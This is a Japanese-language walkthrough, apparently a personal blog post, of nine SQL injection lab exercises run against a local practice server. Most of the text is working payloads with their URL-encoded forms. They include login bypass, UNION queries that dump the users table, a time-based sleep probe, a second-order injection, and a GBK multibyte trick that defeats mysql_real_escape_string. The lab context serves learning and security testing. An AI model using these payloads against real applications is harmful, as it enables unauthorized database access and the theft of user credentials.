Hello there, ('ω')ノ
SQL injectionsを。
まずは、Example1から。
パラメータに、'を入力するとエラーが表示されるので、脆弱性なのですが。
下記のサイトを参考に。
https://github.com/payloadbox/sql-injection-payload-list
下記のペイロードを入力して送信するとSuccess!!の表示が。
admin' or 1=1#
次にExample2を。
下記のペイロードで表示数を制限することもできると言いたいようで。
1' or 1=1 limit 1#
問題がないため、何をもって正解なのかはわからず。
次にExample3を。
アクティブスキャンでは、エラー表示レベルしか検出できず。
2つのフィールドを使用しての検出には、ツールは対応していないような。
ペイロードをヒントに。
バックスラッシュでエラーが。
どうやら'をフィルタリングしているようで。
\を使って2番目の一重引用符を文字変換することで。
『 'and password =』をユーザ名とすることに。
ユーザー名の一重引用符はエスケープされるため、バイパスされます
select * from users where username =’\ ‘ and password =’ or 1=1#
Example4にアクセスすると入力エリアはないので、URLで対応を。
username='hacker'
⇩
http://192.168.0.227/sqlinjection/example4/?req=username%3d%27hacker%27
最後に'を追加するとエラーが表示されて。
http://192.168.0.227/sqlinjection/example4/?req=username%3d%27hacker%27%27
もう少し踏み込んで、下記のペイロードを挿入すると。
' or 1=1 #
⇩
http://192.168.0.227/sqlinjection/example4/?req=username%3d%27%27%20or%201=1#
Example5は、UNIONベースのSQLインジェクションで。
下記のペイロードを挿入すると。
UNION ALL SELECT USER()--
⇩
http://192.168.0.227/sqlinjection/example5/?UNION%20ALL%20SELECT%20USER()--
全ユーザを取得するには下記のペイロードも有効で。
union all select * from users
⇩
http://192.168.0.227/sqlinjection/example5/? limit=3%20union%20all%20select%20*%20from%20users
Example6では、下記のようなパラメータで表示されていて。
http://192.168.0.227/sqlinjection/example6/?group=username
下記のペイロードを追加すると。
union all select * from users
⇩
http://192.168.0.227/sqlinjection/example6/? group=username%20union%20all%20select%20*%20from%20users
他にもパラメータなしでもユーザ名の取得はできて。
http://192.168.0.227/sqlinjection/example6/?
Example7は、アクティブスキャンでまともなペイロードが見つかったので。
下記のペイロードで遅延を確認できて。
192.168.0.227/sqlinjection/example7/?id=(select*from(select(sleep(20)))a)
Example8でもSQLインジェクションは検出できず。
適当にユーザを登録していって。
下記のペイロードを登録することで。
admin' union select 1,user(),3#
ペイロードを保存したIDをクリックすることで、SQL文が機能して。
adminで登録したユーザの情報が取得できて。
ストアドXSSに似たようなもので。
http://192.168.0.227/sqlinjection/example8/users/16
Example9を。
アクティブスキャンでは何も検出されず。
これは、mysql-real-escape-stringと呼ばれるフォームフィルタリングが。
使われているようで。
エスケープ文字を削除して、コードの挿入をブロックするPHP関数のようで。
ただし、データベースと接続設定が同じ文字セットを使用していない場合は。
この関数には欠陥があって。
なので、GBK(簡体字中国語の文字セット)だとエスケープしないので。
例えば、下記のようなペイロードを。
呵' or 1=1 #
蓼' or 1=1 #
⇩
%E8%93%BC%27+or+1%3D1+%23
もしくは、下記のようなペイロードでも。
%bf%27+or+1=1+--+
%bf'+or+1=1+--+
Best regards, (^^ゞ